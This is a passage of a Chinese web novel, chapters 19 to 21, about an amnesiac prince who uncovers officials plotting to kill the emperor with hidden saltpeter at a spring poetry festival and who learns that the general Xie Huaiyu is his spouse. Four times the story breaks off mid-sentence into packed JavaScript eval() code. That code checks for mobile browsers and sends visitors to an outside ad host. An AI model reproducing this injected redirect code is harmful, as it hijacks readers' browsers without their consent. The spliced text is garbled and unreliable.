l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177928|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华城,有的是想来严华城混口饭吃,还有落榜的、被仇人追杀的……总之大部分都是没有出路,听闻安王乐善好施,所以前来投奔。 而安王英雄不问出处,给出的条件只有三条:一不得杀人放火欺男霸女打架斗殴惹是生非,不得沾染酗酒赌博嫖妓恶习;二遵守王府和庄子的规矩,参与劳动;三永不泄露王府机密。 这些人平时在王府在城郊的庄子上,不用付租金,还管一日三餐,白天就到城里去赚钱,晚上回到庄子上,农忙的时候还会帮着收拾田里,不忙的时候就轮流放养放牛喂猪喂鸡鸭,王府里每日的蔬果肉蛋,大部分都是庄子上供的,这些人感恩安王收留,还会去捕鱼捞虾,送去王府。 孟祈安要找龙泉寺那两个人,就有和尚主动请命去龙泉寺挂单,为他蹲守。 卖艺的说书的就去走街串巷,他们本就出身市井,不会引人怀疑。 除此之外,他在宫中也有眼线。 太子孟少宁马上十岁了,皇帝有意培养他参政,让他在暖阁中跟着听朝臣商议大事。 他听了什么,就学给孟祈安。 所以镇北军早上开拔,他晌午之前就知道了原因。 许新卓:“那殿下为何还这么生气?” 孟祈安:“我是气谢淮屿有什么事不能跟我说清楚呢?” 许新卓深以为意:“没错没错。” 孟祈安话锋一转:“他昨晚跟我告白了。” 许新卓:“哦呦~” 孟祈安:“话没说清楚就走……” 许新卓:“你该不会想去找他吧?” 孟祈安没言语。他要说去,兴许还可能不去,他要不说话了,那就是打定主意了。 许新卓:“陛下定不会许你去的。” 孟祈安:“你别管了。我暂时不会离开,起码要等到暮春诗会之后……” 第三天,一个算卦的登门,季青认识他,是庄子上的人,放他进了来。 他说他在琼华苑门口摆摊子,蹲了七天,发现琼华苑只要有某些特定的人来,就会闭门谢客。 孟祈安:“也许是来了大主顾,怕旁的散客打扰,于是闭门谢客。” 算卦的说:“小的一开始也是这么以为,但殿下您说关注圆环玉佩,我见琼华苑每次闭门接待的都是戴圆环玉佩的。而且,小的瞅着那些玉佩有个共同的特征。” 孟祈安:“什么特征?” 算卦的:“都是岩玉。小的家乡在霜州,小时候经常跟着老爹过建宁关去互市做买卖。岩玉是罗傲国特产,外观跟脂玉极为相似,不仔细看根本看不出来。但我们从小看到大的一眼就能认出来。岩玉比脂玉坚硬,当年罗傲人拿泡油的岩玉当脂玉卖,骗了不少大承的商人,不过后来打仗,互市没了,岩玉就少了。算起来,小的得有快三十年没见过岩玉了。” 孟祈安:“罗傲产的?” 算卦的:“是。六年前再次建立互市,罗傲人知道糊弄不了大承玉石商人,就没再挂羊头卖狗肉了。” 孟祈安从小见过那么多好玉,也没有分辨出区别。“你可认得那些人?” “小的认得两位,其他人只能见了才能指出,不晓得名字。” “是王太傅家的兄弟,王洛清和王松清。” 19.第 19 章 暮春诗会的评判分为"御笔钦点"和“万民投笺”两部分,票数最多者为当年诗宗魁首,此等与民同乐的活动自然受万众瞩目,往年这项殊荣总被安王包揽,所以在看到诗会名册上没有孟祈安的名字,善习堂的诸位太傅学士先生都暗自较起劲来,想在诗会上大放异彩,拔得头筹。 王松清云游归来,进入善习堂教习,讲授儒学伦理。但贵胄子弟们不爱听枯燥的教条,缠着他让他将云游的见闻。 王松清到底也没讲,目不斜视地讲着五伦八德。 “君之视臣如手足,则臣视君如腹心……”他手握戒尺在红木桌案上敲击道,“诸君需明晰,此间大义绝非单向之忠诚。亲贤臣远小人,贤臣方能鞠躬尽瘁死而后已。然臣亦不可媚君,陷君于悖伦败德之地,见笑于天下。” 席间学子听得一头雾水面面相觑,正欲再求见闻,却听他合上书卷道:“今日课业至此,明日将考校五伦八德策论,诸君切勿只知背诵不通晓大义。” 王松清抱着书本和戒尺在一片哀嚎中步出讲堂,迎面遇上了王洛清。“兄长。” “我在窗外听见你讲课了。”王洛清道,“五伦八德只讲君臣,夫妻父子兄弟友人皆未涉及,什么都没讲就要考策论,陛下要是突然想看策论怎么办?” 王松清不在乎道:“兄长不是讲过吗?五伦八德世人皆熟知,何须赘述?” 王洛清突然在廊上拉住他,压住声音说:“别以为我不知道你那点小心思!” 王松清心虚道:“……我能有什么小心思?” 王洛清:“我看着你长大还不清楚吗?七岁刚入善习堂就成天跟在孟祈安身后,他习字你研磨,他养雀你训鸟,他闯祸你背锅,他干什么坏事都有你的主意……你以为爹娘没发现是因为你藏得好吗?你不好好写文章,写满了孟祈安名字的宣纸都是我替你收起来烧了的!” 陈年旧事被重提,王松清骤然攥紧衣袖。 十岁那年他懂了思春,满脑子想的都是孟祈安,反复描摹心上人的名字,不知不觉就写满了一整张纸。王太傅突然召他,吓得他不知所措,慌乱间把那张纸团了团塞在了《诗经》之中。等回屋来却怎么也找不到,提心吊胆了好几个月。原来是哥哥给他烧了。 他低下头不说话。 王洛清:“后来孟祈安大张旗鼓地追求谢淮屿,闹得人尽皆知,谢淮屿一拒绝他,你就上赶着往他那儿跑,恨不得跪在地上舔,最后怎么样?人家看你一眼吗?” 王松清最难堪的一面被亲哥戳穿出来,胸口起伏不定。 王洛清冷笑:“孟祈安心里只有谢淮屿一个人,他们成婚时,你躲在家中灌醉了自己,第二日就借口云游一走六年。狗屁云游,不就是被孟祈安骂了自怨自艾离家出走吗?知道孟祈安失忆,你巴巴地跑回来,想干什么?趁虚而入?” 王松清想起孟祈安对他疾言厉色地警告他如果再说谢淮屿一个字不好,就休怪他不客气。他们可是十年的朋友,青梅竹马一起长大的朋友,孟祈安竟然为了别人……那狠戾的、好似要杀人的眼神至今想起来都令他心神俱焚。 “谢淮屿一介武夫!根本配不上他!”王松清眼中猩红,“他懂什么琴棋书画?懂什么风花雪月?不过仗着殿下一时迷恋……” “住口!”王洛清气得不轻,“你诋毁谢淮屿的事我都听说了,王松清,谢淮屿是镇北大将军,是堂堂正正的安王妃,你呢?你只敢在背后酸溜溜地暗讽……竟然、竟然还敢在善习堂上发你那点说不出口的牢骚,你当善习堂是什么市井之地吗?王家怎么养了你这么个废物!?” 王松清咬紧牙关,才控制住情绪。 王洛清却没想放过他,把他推进一间空房,关上门说:“收敛起你那些龌龊的心思吧,人家好歹光明正大,你呢?比阴沟里的老鼠还不如。” 王松清情绪崩溃,踉跄后退了好几步,腰磕在八仙桌上:“我七岁便心悦他,一直陪在他身边,谢淮屿、凭什么谢淮屿来了善习堂就夺走了他所有的关注!” 王洛清恨铁不成钢地看着弟弟,半晌压住怒火道:“你哪里比得过谢淮屿?” “你连当面跟他竞争的勇气和资格都没有!” 王松清失神地望着兄长震怒的眼神,一时间说不出话来。 “我哪里敢肖想殿下……”他声如蚊蚋,“我只是想他看看我……” 王洛清:“所以你带他去云容楼喝花酒?他看你了吗?他只会看不起你!呵,蠢货,你连我书香门第高洁风骨都败光了!” 王松清彻底被击垮,沉默半晌说道:“他看不看我也不要紧,只要他不去看谢淮屿,看谁都行。只要不是谢淮屿……” 王洛清对自己的弟弟失望至极,说道:“如今谢淮屿已经离京北上,你莫要再生事。” 王松清突然问道:“兄长是担心我坏了你的事?” 王洛清四处看看,将门窗关紧,警告地看向他:“此事关系到我王家的兴衰,你是我弟弟,是可信赖之人,我才带你去的琼华苑,你要是再口无遮拦的,会害了王家,你知道吗!”他深深吸气,安抚道,“主子说了,成事的第一要务就是杀了谢淮屿。” 听到此话,王松清眼睛一亮,旋即问道:“那殿下呢?莫要伤害到殿下。” 王洛清笑道:“孟祈安失忆乃是天助,以往要动谢淮屿总要忌惮他的手段,如今只要他不反抗,你不惹事,等事成之后……那个失了势的金枝玉叶,自然会送到你榻前。”弟弟对安王情根深种,而主子最恨的人就是安王,到时头一个要杀的恐怕就是安王。不能叫蠢弟弟知道,否则恐怕会坏事。 王松清手指绞着袖口,喉间溢出压抑的轻笑:“好,全凭兄长做主。” 王洛清:“主子传来消息,达州那批兵器还有硝石已经运到了北境,想要神不知鬼不觉地运出大承有些困难。明措擅自篡位,主子很生气,害得现在北境边关戒严,想要将东西运出去难上加难……” 他骂道:“明措这个疯子!” 王松清急道:“那等谢淮屿到了建宁关不就更没可能了?” 王洛清:“所以主子打算在暮春诗会动手。硝石已经秘密运抵严华城,就存在琼华苑密室中,诗会当天皇帝会离开皇宫亲临暮春园,届时火油遇硝石爆燃成燎原之势,皇帝死于意外……” 王松清听得既害怕又兴奋,问道:“可御前侍卫……” 王洛清:“中军正都统的佩刀剑袍上的环佩你当成摆设?主子的人早已渗透中枢。” 王松清呼吸急促:“兄长追随之人……当真是天命之人。” 、 孟祈安在茶楼三层喝茶。 楼下对面隔着一条长街的就是琼华苑。 此时街上人来人往,但琼华苑却大门紧闭。 他从辰时三刻就坐在这包房里,算卦的还在琼华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177929|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苑门口摆摊,每看到一个戴着岩玉环佩的,就抛一枚铜钱。 到申时三刻,破碗里面已经扔了十几颗。 季青:“……这靠不靠谱啊?说不定就是琼华苑老板拿库存的岩玉当脂玉卖呢……” 孟祈安不为所动:“再等等。” 这时来了两名青衫书生,季青道出他们的姓名:“是翰林院的曲鑫曲大人和张海道张大人。” 算卦的扔了两枚铜钱,哗啦落在破碗里。 两位大人进入琼华苑,大门便关上了。 季青:“关门了关门了。” 孟祈安:“再等等,看他们出不出来。” 一炷香过去了,两人也没出来,孟祈安合上折扇道:“让翠儿去。” 翠儿是王府庄子上的人,以前是个戏子,因为卖艺不卖身被当地的恶霸欺辱,他杀了恶霸出逃,从江南一直跑到严华城,后来跟着几个说书的一起,投靠了安王。 他虽是个男人,扮起女人来却娇滴滴的,叫人分不出真假。 他挽着发髻,走到琼华苑门口,两个小二上前阻拦:“这位夫人,本店今日闭门谢客,您请改日再来。” 翠儿可不依:“改日再来?我今天来是想请掌柜的给瞧瞧,这玉镯可是出自琼华苑?” 小二:“那您明日请早。” 翠儿眉毛一挑,伸手去推那两人,语气倏地凌厉泼辣:“不行,今日我必须得见你们掌柜!” 小二急道:“夫人!使不得!” 翠儿高声质问道:“为何使不得?这才几时你们就打烊?分明就是看不起我们!” 他声音高,引来很多百姓围观。 “我家郎君在外头养了个小的,那小的竟敢舞到我这正妻面前炫耀,说郎君给她买的镯子是琼华苑的。”他说着说着拿帕子擦起眼泪,“小女子在家做女红赚钱,省吃俭用,就是盼着郎君能早日考取功名,可谁知饭都快吃不起了,那负心汉竟然花大价钱买镯子给别的女子!” 百姓指指点点,都为他抱不平:“你们快开门,叫掌柜的给她看看是不是琼华苑的,好叫人家当了换钱吃饭!” “是啊,快开门吧!” 两个小二面面相觑,不敢开门。 许是太过喧哗,大门从里面打开了,掌柜的迎出来,说自己刚才在盘点,这就给这位娘子看。 果然过了一会儿,那两位翰林院的大人,混在人群中出来了。 孟祈安喝了口茶道:“嗯,确实有问题。” 他刚起身,便看到了熟人。 王松清和王洛清。 王松清敏锐地捕捉到了安王的视线:“殿下。” 不顾王洛清的阻拦上了茶楼:“殿下怎么在这儿?” 孟祈安趴在栏杆上,一脸颓废。 季青:“王爷正不高兴呢。” 王松清关切问道:“殿下有何心事,跟臣说说吧,说不定臣有法子让殿下开心呢。” 孟祈安装模作样地叹了口气道:“暮春诗会的诗还没想好,本王只怕是摔傻了……” 王松清笑道:“臣家中有殿下历年所作诗作,臣等明日送去王府,殿下看了说不定就有灵感了。” 孟祈安假笑着应了,王松清下了楼,他哥不知道说了什么,两人进琼华苑转了一圈出来就走了。 分明是做给他看的。琼华苑中究竟有什么?孟祈安心中更加疑惑了。 20.第 20 章 “季青。” “王爷?” “我以前是个什么样的人?” 季青:“王爷,您可还记得柳国公家的小侯爷?前年他当街纵马伤人,您路过拦下他,笑着递给他香盒,说闻闻这个肝火就消了,那纨绔回去后竟连着十日没踏出国公府半步,据国公府下人说,连出恭都得人搀扶。” 孟祈安奇道:“什么香盒如此厉害?” 季青翻出来给他:“里面加了蚀骨软筋散,您说防身用。” “嘻嘻嘻嘻。”主仆二人相视坏笑。 季青又说:“大前年西州司马犯了事,送了二十万雪花银到王府,想让您帮着在御前求求情。您笑着收了,转头就把银子充了公给镇北军当军饷。” 孟祈安端了起来:“他找错人了,本王最是眼里揉不得沙子!” 季青给他竖大拇指:“是是是,殿下您刚正不阿。” “前年,城中纨绔们总惹是生非,陛下都很头疼。您跟严华城知府喝酒,他喝多了讲了很多秘辛,您记了下来让人写成话本在坊间大卖,那段时间,公子哥们都可消停了。” “还有五年前,世忠郡王的儿子,您和陛下的堂叔,在清修运河时私下收受贿赂,贪墨公款,致使河道在清修时屡次决堤,死了不少河工。但苦于郡王有先帝赐的丹书铁券,无法搜查,所以找不到证据,御史弹劾不能师出无名,陛下若是强行削他的爵位,恐被世人诟病不敬长辈……所以您在河道竣工的碑文上用鱼胶和明矾提前写上字,以薄盐盖之,世忠郡王世子在题字时,碑上显现出‘私吞白银三百万两’、‘还我命来’等如血字样,当时几位御史也在,几百河工、百姓亲眼所见,世子吓傻了,百口莫辩。随后几日,世子在府中每晚都能听见河工凄厉的索命哭声,吓得生了场大病,什么都招了。受贿贪墨金额巨大,死罪难逃,世忠郡王自请削去爵位,换嫡子一条命。” 孟祈安:“我出的主意?” 季青:“嗯……这种又馊又正的主意您没少出。” 孟祈安若有所思道:“也就是说,我这十四年来没什么长进,还只会耍这些小心思?” 季青由衷夸赞:“这哪里是小心思!这分明是经世的大才!殿下您在百姓心中永远是矜贵善良活泼开朗的小皇子。” “……活泼开朗是什么形容?”孟祈安道,“你少把我当孩子哄了,我是失忆又不是真回到十岁了。”他猜他一定得罪了不少高官,好在自己有亲王的地位,又有皇兄护着。 “如此,本王也只能发挥发挥特长了。” “王爷想怎么做?” 孟祈安没回答,而是突然问道:“谢淮屿他怎么想我的?” 季青语塞,艰难开口道:“大将军……那肯定也是这么认为的。” 孟祈安斜他一眼:“活泼开朗?” 季青:“大将军说您这样挺……” 孟祈安可太在意谢淮屿对他的评价了,忙问道:“挺什么?” 季青:“跳脱灵动,挺可爱的。” 孟祈安脸红:“嘿嘿。” 季青:“……” 孟祈安收敛起傻笑,故意板起脸道:“总感觉你们有什么事情瞒着我。” 季青干笑了两声。 孟祈安:“我得赶紧想办法揪出想刺杀淮屿的人。可现在看来,不止一个,还是个团伙。而且有可能跟罗傲有关系。”他想了想站起身,打开门,大喊一声,“那几位暗卫兄弟,进来说话!” 被发现了的暗卫一人端了一杯白毫银针如坐针毡:“……” 孟祈安道:“别紧张,本王就是想问问这些年北境的局势。” 暗卫都是镇北军人出身,给他讲了讲六年前的大战以及近年来罗傲的动向。 孟祈安:“你们能潜入琼华苑吗?” 暗卫都是谢淮屿的人,只听谢淮屿的命令,对视一眼后,打头的那位道:“殿下,大将军命我等保护您的安全。” 谢淮屿:“本王如果要进去呢?” 暗卫队长:“那我等也会进去。” 孟祈安笑道:“那不就得了。” 于是孟祈安约了王松清,大大方方地走进了琼华苑。 王松清很明显没想到孟祈安约他见面,着实受宠若惊,好好打扮了一番赴会。 “所以殿下是想挑选一份礼物送给皇后娘娘?” 孟祈安:“没错。皇后娘娘待我不薄,却因我受到皇兄迁怒,我一直没机会给她赔罪,所以想选一份礼物进宫去给她赔罪。昨日见你来琼华苑,想必对这里很熟悉,你来帮我选选。” 六年前孟祈安伤人的话还历历在目,王松清以为再也不能跟他像童年那样毫无隔阂,没想到他竟还会主动约自己。 “我记得你眼光很毒,普通俗物入不了你的眼。”孟祈安边看着柜上的玉石首饰边不动声色地抬高他,王松清这人心高气傲,牙尖嘴利,心眼儿比针尖还小,别人说他一句不好,他能阴阳怪气地回十句,而且还记好久的仇,唯独对自己百依百顺,从来不跟他对着干。 王松清眼睛都亮了,笑得合不上嘴:“殿下谬赞了。” 孟祈安:“哪儿是谬赞,我记得你还擅雕工,雕出的佛像法相庄严,山水变化万千。” 王松清:“殿下喜欢哪块原石,臣来雕刻,送给皇后娘娘可好?” 孟祈安笑颜如花道:“那太好了。有了琼华苑的好料子,再加上你的鬼斧神工,皇嫂一定会喜欢的!” 王松清让掌柜的拿出料子供安王挑选,孟祈安选来选去,不是嫌成色不好,就是嫌形状不好:“琼华苑可是严华城最大的玉石铺子了,连块像样的料子都挑不出来。你是觉得本王付不起钱吗?” 掌柜的:“小的不敢小的不敢,安王殿下想要什么样的呢?小的后院还有一些,这就去拿……” 孟祈安:“既然如此,本王亲自去后面看看。” 他毫不客气地大步走进柜里,掀开帘子就要往后坊走,脸色煞白,赶紧去拦:“这……殿下,这不妥……” 孟祈安走到店面后门,刚迈过门槛的教又收了回来,指着博古架上的一块石头说:“这块不错。” 掌柜的冷汗都下来了:“殿下好眼光,这块是我店的镇店之宝,您要喜欢,小的就做主卖给您。” 孟祈安拿着原石左看右看,细细地看了好久,王松清忍不住指出道:“这里的形状适合雕山水。” 孟祈安将石头塞给王松清:“你先帮我拿着,我要后院看看别的。” 他刚迈脚,又停了下来,看见左手边柜子上摆着的一对玉镯说:“你们店里的好东西确实多,这对玉镯也不错,拿出来我看看。” 掌柜的擦擦手心的汗,将玉镯拿出来说:“要不咱们去前面看?我给您沏壶茶慢慢看?” 他后院厢房里堆着好些硝石,这要是被安王看见了可还了得,私藏硝石一斤都是充一辈子徭役的重罪,他这里有十罐,一百多斤…… 他早在安王鉴赏那原石时就给小二使眼色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187793|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们赶紧把硝石罐子搬走藏起来。 孟祈安没说话,直接拿过镯子,就站在原地观赏起来。 掌柜的给王松清使眼色,王松清却放松地轻轻摇了摇头,示意他不要紧张:“我陪着王爷在这儿,你去后院取吧。” 孟祈安:“本王随你们一起。” 掌柜的心又提到嗓子眼。 孟祈安:“算了,本王口渴,你去取,季青,喝茶!” 掌柜的冷汗出了一身又一身,赶紧应下,去了后坊。 手下告诉他,东西已经尽数运出去了,他才彻底松了口气。 孟祈安挑了两块,让人送到王府。 回到王府,暗卫队长来报:“殿下猜测得没错,琼华苑后坊确实藏了东西。您进去之后,他们就慌张地将东西从后门运了出去,属下一路追踪,他们将十个陶罐运进了暮春园。” “还有三天就是暮春诗会了,”孟祈安道,“皇兄会亲临暮春园,此时暮春园应该已经戒严,除了宿卫军不许任何人进出。他们是怎么进去的?” 暗卫队长:“宿卫军开的旁门。” 孟祈安:“罐子里是什么?” 暗卫队长:“是硝石。” “什么!!”孟祈安拍案而起,“他们胆敢将硝石运进暮春园……他们的目标是……是皇兄?!” 他本以为是罗傲人策反了朝中大臣,想要对谢淮屿不利,毕竟谢淮屿和明措是死敌,没想到他们竟然想要行刺皇帝,这是谋逆的大罪! 他马上想起太子孟少宁:“你们去将太子保护起来。”王洛清是太子太傅,平日和太子最是亲近,若他要谋逆,太子首当其冲。 王松清王洛清,还有曲鑫张海道、戴着岩玉环佩的大臣,加起来大大小小有十六七人,还有暮春园的宿卫军,宿卫军参与谋逆,这件事就麻烦了。 “陆云旗呢?”他问道。 暗卫队长:“陆将军此时应该在副城驻地。” 孟祈安:“传我的命令,宵禁后让他带五百人进城。” 五百人不知道够不够,但是再多,就难以换防的名义入城了,只怕会引起对方的警惕。 这十六名官员最高的是从一品大员,他们冒险刺杀皇帝,背后肯定还有人,能号令高官行诛九族之事的,定是给了他们无法拒绝的巨大利益。明措做不到,就算是罗傲老王也做不到。 还能有谁? 皇帝若是暴毙,最大的受益者只有三位,一是太子孟少宁,二是罗傲王明措,三是他的其他几位哥哥。 他的七个哥哥,二哥四哥五哥早逝,六哥出家做了道士,其余三位都已封王,在各自的封地。三哥德王在西州,七哥贤王在彬州,八哥宣王在雄州。 雄州…… 不可能的,他摇摇头,想把这荒谬的念头从脑中摒除。八哥与他一同长大,跟皇兄三人最是亲厚。八哥性格内敛,甚至可以说是懦弱,声音大点都能让他胆怯,而且八哥的母亲只是修媛,他是所有兄弟中最没有势力的,就连他的亲王,也是皇兄向父皇求来的。 不可能是八哥。绝对不可能。 “季青,去派人查查宣王是否已经回到雄州。” 季青办事麻利,很快带回消息,宣王半月前便回到了雄州,匪患清剿后,他一直在安通城协助新任太守安置流民。 孟祈安松了口气。 季青紧接着说道:“西州德王爷三日前到了严华城。” “他没有去府邸,而是住在了龙泉寺。” 21.第 21 章 暮春三月,细雨如烟。 孟祈安身着天青色缠枝莲纹锦袍,银线绣的海浪纹在袖口和衣摆翻涌,鹅黄色的丝绦系着那半块并蒂同心佩。他打着油纸伞,手中提着锦盒。 踏入椒房殿时,檐角铜陵正被细雨打得轻响。按说外臣不得进入后宫,偏偏安亲王是皇后刘氏看着长大的,昔日的太子妃膝下无子,将幼弟视若亲生。如今贵为中宫,仍特许他随意出入。 皇后听见了通传也没有起身,甚至没有转过身来,倚在软塌之上,鎏金护甲轻轻翻动书页。内间雕花木门半掩,孟祈安站在门外叫了声:“皇嫂?” 皇后不理他,太子孟少宁却跑了出来,小声跟他说:“九叔,母后生气着呢。” 孟祈安朝他眨眨眼,也小声说:“看出来了。” 孟少宁气恼道:“九叔到底干了什么惹母后生气?” 孟祈安用折扇敲他脑门:“小孩子少问。” 孟少宁:“那我就不帮你求情了!”说着作势要关门。 孟祈安一只脚挡在门缝处:“诶!等等!”他提高些声音说,“皇嫂好心好意帮臣弟寻贵女入府,却被臣弟不知好歹赶了出去,臣弟可真是罪该万死啊!” 里面传来摔书的声音:“你是该死!” 孟祈安:“皇嫂,臣弟知道错了,所以这不是来给您赔不是来了吗?您瞧瞧,臣弟还带了自清楼的糖蒸酥酪和梅花枣泥饼。” 里面没了声音。 他扑通跪在地上,耍赖说:“皇嫂若不见臣弟,臣弟就跪着不走了。” 里面熟知他的把戏,依旧没有声音。 他等了会儿,说道:“皇嫂待臣弟如亲弟,都说长嫂如母,臣弟就算是死,也得再见皇嫂一面!” 又过了一会儿,便有宫女请他入内。 他把点心交给宫女,入得室内,也没敢站着,就跪在皇后的塌边。 皇后瞪了他一眼,别过脸去看书。 宫女将糕点摆在白玉盘中端了上来。 都是她做太子妃时最喜欢吃的。难为这臭小子还记着。思及此,她的怒气去了大半。 孟祈安咬咬下唇,低眉顺眼地说:“皇嫂,臣弟知道错了。此事千不该万不该,我不该把人赶出去。皇兄也因此骂过我了,我说都是我的错,让皇兄罚我,不要罚皇嫂。皇嫂没有错,皇嫂都是为了我好。皇嫂,您不用原谅臣弟,您责罚臣弟吧,罚臣弟做什么都行,可千万别气坏了您的身子。好不好?” 皇后了解他从小就惯会跟长辈撒娇,可偏他生得粉雕玉琢的,如此卖乖却让人生不起气来。把书扔在榻上说:“得了得了!起来吧!人都叫你赶跑了,你还来本宫这儿得便宜卖乖!”皇帝给她讲了个中利害,她还是拎得清的,也知道自己做了傻事,得罪了镇北大将军。 孟少宁立在一旁问道:“母后,到底怎么了?九叔赶走了什么人?”他给皇后择草莓蒂的手一顿,“难道是九婶?” 皇后哼道:“不是你九婶,你九婶母后可得罪不起。” 孟祈安满脸堆笑道:“哪儿能啊,皇嫂母仪天下,是小九的榜样,等小九回来,我带她来给您请安。” 孟少宁擎着红彤彤的草莓感慨道:“九婶这一走,也不知道何时才能回来。” 孟祈安才想起来,已经很久没有给他的王妃去信了。待揪出谋逆主谋,他就要北上去找谢淮屿。他的计划中没有考虑王妃,不免有些愧疚,问太子道:“你知道王妃去了哪儿?” 孟少宁:“建宁关啊。” 孟祈安:“哪儿?” 孟少宁:“九叔,我每日都在暖阁中听政,你莫要小瞧了我。” 孟祈安:“小九去了建宁关?她……她为何要去建宁关?” 孟少宁会错意,以为他不知道罗傲国的事,解释道:“你不知道吗?罗傲内乱,老王暴毙,明措登基……” 孟祈安:“我知道这些,我是问你为何小九会去建宁关?” 孟少宁:“他不去,谁领兵呢?九叔,您莫要逗我,九婶出发时,您还去城门上送他,怎么现在又忘了?对了,善习堂都传您当时要射他一箭,可是真的?” 孟祈安瞳孔皱缩:“谁?你到底在说谁?”他后知后觉反应过来,突然抓住太子双肩,“你九婶是谁?” 孟少宁被他吓了一跳,手中草莓滚落玉砖:“镇北大将军谢淮屿啊。” 、 暖阁。 丞相:“陛下,罗傲国并未发来国书,而且据大承驻罗傲的使节说,明措近期没有任何动作,只是在王宫之中饮酒作乐。” 皇帝:“饮酒作乐?” 丞相:“是,据说祭祀天地的仪式也全都从简,明措甚至没有做狼王血誓。”罗傲国地处草原和大漠,信奉狼王,相信每一任罗傲王都是狼王转生,所谓狼王血誓,就是在祭天地大典上割破手指,滴血入狼王骨灰与千年琥珀融合形成的圣物之上,血液融进去,血统纯正,才能被罗傲臣民承认。 “微臣认为,明措很有可能没有得到圣物。”丞相道,“于罗傲臣民而言,没有狼王圣物,他就不是新王,不被臣民承认,他就无法行使罗傲王的权力,比如,调动罗傲大军。” 皇帝:“也就是说,他现在名不正言不顺。” 丞相:“陛下英明。” 皇帝:“既然如此,那绝不能让他得到此圣物。” 丞相:“可是除了罗傲王族和祭祀长老,没人知道圣物长什么样子。据使节形容,明措此人信仰深厚,他称亲兵为狼骑,意思是借助狼王神力战无不胜。所以没有圣物,他自己也无法接受。但是微臣担心,明措突然有一天醒悟过来,造个假的圣物出来……或者干脆暴力夺权,逼迫臣民承认……” 皇帝:“到时候他就可以号令整个罗傲大军了……” 丞相:“是……” 皇帝:“圣物现在何处?” 丞相苦笑:“这……微臣不知。不过微臣猜测,三王子明翰提前出逃,恐怕跟圣物丢失也有关系。” 皇帝心下已有判断,问道:“此事大将军知否?” 丞相:“大将军应该比臣先一步知晓。” 皇帝沉吟道:“淮屿定会想办法先他一步找到圣物。” “陛下……”周常忽然步履匆匆入内,脸色十分焦急,“陛下,皇后娘娘派人传话,说安王殿下在椒房殿昏过去了。” 关顺帝让下令百官不得透露谢淮屿是安王妃的事,唯独忘记跟儿子说了。 太医院使诊断后说安王是气急攻心才昏了过去,针灸过后很快就会醒。 果然没有半个时辰,孟祈安便醒了。 窗外的雨越来越急,噼里啪啦地敲打着窗。 被冷汗浸透的中衣已经换掉了,他好似死了一遍,心脏在肋间疯狂撞击、颅骨内如万针刺穿的感觉还在,提醒着他孟少宁说的话不是梦。 他听着雨声,指尖下意识摩挲着半块并蒂同心佩。 记忆空白处,像座深渊,是他无法抵达的彼岸。记忆的碎片在深渊中沉浮。梨树下舞剑的白衣少年,校场烈日下的枪锋银色的光晕,冰冷刺骨的湖水,温热的带着血锈味的怀抱,焦急的呼唤声…… “淮屿……”他唤出心底的名字时,不由自主的泪流满面。 他什么都想不起来。 谢淮屿当真是他的王妃,这些日子发生的事情便解释得清了。 可他只要一深思,就会头痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196964|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他压抑住想要深究的冲动,因为还有更重要的事。 掀开锦被,太医便围了过来:“殿下醒了,可还难受?” 孟祈安脸色不好,掌根揉揉额角问道:“陛下呢?” 、 暮春园依山而建,与龙泉寺毗邻,本是位富商的私宅,富商老年皈依,将宅子赠与龙泉寺。园子青瓦白墙朱漆园门,青砖小径蜿蜒曲折,太湖山石错落有致,竹影婆娑松涛应和,半亩池塘锦鲤摆尾搅碎满池金鳞。暮春园移步异景,最出名的当属满园春华,借灵山的远景,整座院子被远山的黛色浸染,与山中遍开的杜鹃花树绘成一幅绝美山水。 每年的诗会都会在这诗情画意的园子中举办。 皇帝的銮舆从正门进入,其他参加诗会的才子们,以及主位王公大臣则步行入园。 因为皇帝御驾亲临,所以整座暮春园,以及附近的街巷都戒严了。 诗会从午时开始,每位才子都会向皇帝呈上自己早已备好的最满意的作品,另外,皇帝会当场出题,每人即兴赋诗。两个比试部分的作品,都会由文官誊抄,送出暮春园,张贴于严华城城门、长街市集和龙泉寺山门三处,供百姓们赏读评判,这三处地点也会设投花桶,选票是绢花,风雅有趣,方便百姓为喜欢的诗作投票。 云容楼的姑娘们歌舞助兴,漫山遍野的杜鹃更添喜庆,诗会进行的如火如荼,皇帝出的题是“落花水面,碧波含山”,众才子当场作诗,【山影沉沉浮落花】、【无情风揉花片冷】、【碎红狼藉点清漪】等佳句频出,诗会好不热闹。 